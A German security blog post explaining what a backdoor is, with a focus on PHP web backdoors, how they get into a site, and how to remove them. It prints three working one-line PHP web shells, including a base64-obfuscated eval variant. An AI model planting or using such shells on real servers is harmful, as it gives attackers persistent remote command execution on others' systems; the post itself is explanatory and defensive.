Gehaxelts Blog

IT-Security & Hacking

Was ist eine Backdoor?

Heute habe ich mal Lust dazu, etwas zu einer Backdoor zu schreiben und zu erklären, was diese einem Angreifer ermöglich kann.

Was ist eine Backdoor?

Backdoor ist Englisch und bedeutet Hintertür. Angreifer nutzen eine solche Hintertür, um sich dauerhaft und unbemerkt Zugang zu einem System zu verschaffen.

Es gibt viele verschiedene Hintertüren, von welchen die man als Einzeiler im PHP Code verstecken kann, oder welche die in Softwares versteckt werden, um z.B. als Trojaner zu fungieren. Nicht alle Backdoors sind jedoch gleich böse, denn viele Hersteller bauen sich auch Hintertürchen in Ihre Systeme ein, um z.B. bei einem vergessenen BIOS-Passwort dieses über einen bestimmten Adapter oder über ein Masterpasswort trotzdem zurücksetzen zu können, um so dem Kunden den Zugang zu seinem Laptop, PC, oder whatever wieder zu ermöglichen.

Wie sieht eine Backdoor in PHP aus?

Es gibt verschiedene Arten von Backdoors, je nach dem ob der Angreifer nur bestimmte PHP-Befehle ausführen möchte, dann würde ihm schon folgende Zeile ausreichen:

eval($_GET['cmd']);

Diese Zeile bekommt einen Befehl über den Get-Parameter ‘cmd’ und führt diesen daraufhin aus. Doch es geht noch tiefer, wenn ein Angreifer direkt Befehle an das darunter laufende System weitergeben möchte, dann nutzt er den Befehl “system();” oder ähnliche, welche den die Ausführung von eigenen Befehlen ermöglichen.

system($_GET['cmd'],$ret); echo $ret;

Diese zwei Befehle stellen eine Backdoor da, bei dem der Befehl wieder über einen GET-Parameter empfangen wird, danach ausgeführt und die Ausgabe in der Variable $ret gespeichert wird. Der Inhalt muss danach nur noch ausgegeben werden, wobei dieser Schritt optional ist, wenn der Angreifer auch ohne Ausgabe zurecht kommt. Die Befehle werden hierbei mit den Rechten des Webservers ausgeführt, weswegen es wichtig ist, diesen nicht als Administrator bzw. root laufenzulassen, denn sonst kann der Angreifer beliebige Veränderungen am System vornehmen.

Diesen Befehl kann der Angreifer noch etwas unlesbarer gestalten, in dem er diesen per base64 chiffriert und per eval ausführt. Dies würde dann so aussehen:

eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSwkcmV0KTsgZWNobyAkcmV0Ow=="));

Dem Angreifer sind dabei keine Grenzen gesetzt was die Gestaltung der Backdoor angeht.

Wie kommt die Backdoor in mein System? 

Damit ein Angreifer eine Backdoor in ein PHP-Script einbauen kann, muss es entweder über eine bereits vorhandene Lücke in das System eingedrungen sein, und hatte ausreichende Rechte, um eine Datei zu manipulieren, oder er war an der Entwicklung des Scriptes beteiligt und konnte während dieser die Zeile Code irgendwo verstecken.

Bei dem ersten Fall sollte man die Backdoor entfernen und nach weiteren Sicherheitsproblemen suchen, denn der Angreifer kann beliebig viele Backdoors in verschiedenen Dateien hinterlassen haben und es muss irgendwo eine Schwachstelle geben, über welcher er zuvor eindringen konnte.

Bei letzterem Fall muss man einfach schauen, aus welchen Quellen man den PHP-Code hat. In offiziellen Open-Source Projekten, wie z.B. Wordpress, sollten solche Backdoors nicht vorhanden sein, denn der Quelltext ist frei verfügbar und kann durchschaut werden. Solche gefährlichen Zeilen Code fallen dort schnell auf und werden entfernt. Aufpassen sollte man zu dem bei unseriösen Plug Ins, denn solche kann jeder frei programmieren und verbreiten.

Den Hintertürchen, welche auf Softwareebene existieren kann man nur entgegen wirken, in dem man keine unseriösen Programme installiert bzw. ausführt und diese zuvor von einem Antivirenprogramm prüfen lässt.

Wie schließe ich eine Hintertür?

In den Fällen der PHP-Backdoor reicht es völlig, wenn man die entsprechenden Zeilen aus den PHP-Scripten entfernt.

Das gleiche gilt für die verdächtige Software, welche gerne nach Hause kommuniziert und dem Angreifer Zugriff auf ein System gewährt.

Gruß

gehaxelt

W?W?W?

« .htaccessKiller - Tool für .htaccess Domaintransfer abgeschlossen »